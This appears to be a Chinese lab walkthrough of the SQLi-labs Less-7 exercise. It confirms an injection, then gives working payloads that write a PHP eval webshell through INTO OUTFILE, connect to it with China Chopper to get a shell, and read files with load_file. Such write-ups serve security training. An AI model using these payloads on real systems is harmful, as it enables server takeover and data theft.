SQL注入寫入讀取文件(實(shí)驗(yàn))
1.1第一步,判斷是否存在SQL注入,我們輸入http://www.any.com/sqli/Less-7/?id=1,發(fā)現(xiàn)頁(yè)面返回正常。
1.2加入單引號(hào),輸入www.any.com/sqli/Less-7/?id=1',此時(shí)發(fā)現(xiàn)頁(yè)面返回不正常,報(bào)錯(cuò),這是我們判斷此處存在SQL注入
?1.3此時(shí)我們來(lái)判斷閉合字符輸入http://www.any.com/sqli/Less-7/?id=1' and 1=1 %23,回顯不正常
?輸入http://www.any.com/sqli/Less-7/?id=1') and 1=1 %23,回顯不正常
?輸入http://www.any.com/sqli/Less-7/?id=1')) and 1=1 %23,回顯正常
?輸入http://www.any.com/sqli/Less-7/?id=1')) and 1=2 %23,回顯不正常
?1.4這是我們就要利用以上所學(xué)知識(shí)寫入一句話木馬文件,我們輸入:
http://www.any.com/sqli/Less-7/?id=1')) union select 1,'2','<?php @eval($_POST[a]);?>' into outfile 'c:/www/2.php'%23,雖然顯示報(bào)錯(cuò),但其實(shí)我們還是寫了進(jìn)去。
?1.5此時(shí),我們上中國(guó)菜刀工具,右擊點(diǎn)擊空白處,選擇添加,在對(duì)話框中輸入http://www.any.com/2.php,密碼填寫a,點(diǎn)擊添加即可獲取shell。
1.6下面進(jìn)行讀取文件,我們輸入:http://www.any.com/sqli/Less-7/?id=1')) union select 1,2,load_file("C:/WWW/2.php") into outfile 'C:/WWW/3.php'%23,雖然報(bào)錯(cuò)了,但是我們還是讓它讀取到了2.php里的內(nèi)容,然后讓它以3.php寫入了進(jìn)去